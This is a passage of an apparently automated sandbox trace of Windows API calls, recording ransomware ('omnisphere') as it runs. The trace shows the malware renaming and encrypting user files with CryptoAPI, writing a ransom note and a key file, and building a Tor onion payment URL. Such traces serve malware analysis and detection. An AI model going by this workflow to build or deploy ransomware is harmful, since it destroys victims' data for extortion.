nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0069.172] GetProcessHeap () returned 0x1600000 [0069.172] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x272) returned 0x165f968 [0069.173] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\xrFH_.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xrfh_.wav"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\xrFH_.wav.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xrfh_.wav.omnisphere")) returned 1 [0069.173] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\xrFH_.wav.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\xrFH_.wav.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\xrFH_.wav.omnisphere.id" [0069.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\xrFH_.wav.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xrfh_.wav.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0069.173] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0069.175] CloseHandle (hObject=0x3a8) returned 1 [0069.176] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0069.176] CloseHandle (hObject=0x3a4) returned 1 [0069.177] SetEndOfFile (hFile=0x3a0) returned 1 [0069.177] FlushFileBuffers (hFile=0x3a0) returned 1 [0069.179] CloseHandle (hObject=0x3a0) returned 1 [0069.180] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\xrFH_.wav" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0069.180] GetProcessHeap () returned 0x1600000 [0069.180] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x166b198 [0069.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0069.180] GetProcessHeap () returned 0x1600000 [0069.180] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f4b8 [0069.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f4b8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0069.180] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0069.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.180] GetProcessHeap () returned 0x1600000 [0069.180] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162fbb0 [0069.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162fbb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0069.180] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0069.180] GetProcessHeap () returned 0x1600000 [0069.180] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x16684e8 [0069.180] PathCombineW (in: pszDest=0x16684e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0069.180] GetProcessHeap () returned 0x1600000 [0069.180] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1662458 [0069.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0069.180] WriteFile (in: hFile=0x3a0, lpBuffer=0x1662458*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1662458*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0069.181] CloseHandle (hObject=0x3a0) returned 1 [0069.181] GetProcessHeap () returned 0x1600000 [0069.181] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166b198 | out: hHeap=0x1600000) returned 1 [0069.181] GetProcessHeap () returned 0x1600000 [0069.181] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f700 [0069.181] PathCombineW (in: pszDest=0x163f700, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0069.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0069.181] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0069.181] CloseHandle (hObject=0x3a0) returned 1 [0069.181] GetProcessHeap () returned 0x1600000 [0069.181] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f700 | out: hHeap=0x1600000) returned 1 [0069.181] GetProcessHeap () returned 0x1600000 [0069.181] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a180 | out: hHeap=0x1600000) returned 1 [0069.181] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa77cbe70, ftCreationTime.dwHighDateTime=0x1d4caa2, ftLastAccessTime.dwLowDateTime=0x9a13fbe0, ftLastAccessTime.dwHighDateTime=0x1d4cbbf, ftLastWriteTime.dwLowDateTime=0x9a13fbe0, ftLastWriteTime.dwHighDateTime=0x1d4cbbf, nFileSizeHigh=0x0, nFileSizeLow=0xfc7a, dwReserved0=0x0, dwReserved1=0xed, cFileName="Yfgph0gV.swf", cAlternateFileName="")) returned 1 [0069.181] GetProcessHeap () returned 0x1600000 [0069.181] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x68) returned 0x163a730 [0069.182] PathCombineW (in: pszDest=0x163a730, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="Yfgph0gV.swf" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Yfgph0gV.swf") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Yfgph0gV.swf" [0069.182] StrStrW (lpFirst=".omnisphere", lpSrch=".swf") returned 0x0 [0069.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Yfgph0gV.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yfgph0gv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0069.182] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=64634) returned 1 [0069.182] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xf756, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0069.182] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.182] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] GetTickCount () returned 0x1151931 [0069.183] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x1668570) returned 1 [0069.183] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639b68) returned 1 [0069.184] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0069.184] CryptDestroyKey (hKey=0x1639b68) returned 1 [0069.184] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0069.184] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfc7a, lpName=0x0) returned 0x3a4 [0069.184] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfc7a) returned 0x3430000 [0069.184] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x1668818) returned 1 [0069.185] CryptImportKey (in: hProv=0x1668818, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639528) returned 1 [0069.185] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.185] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.186] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.187] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, 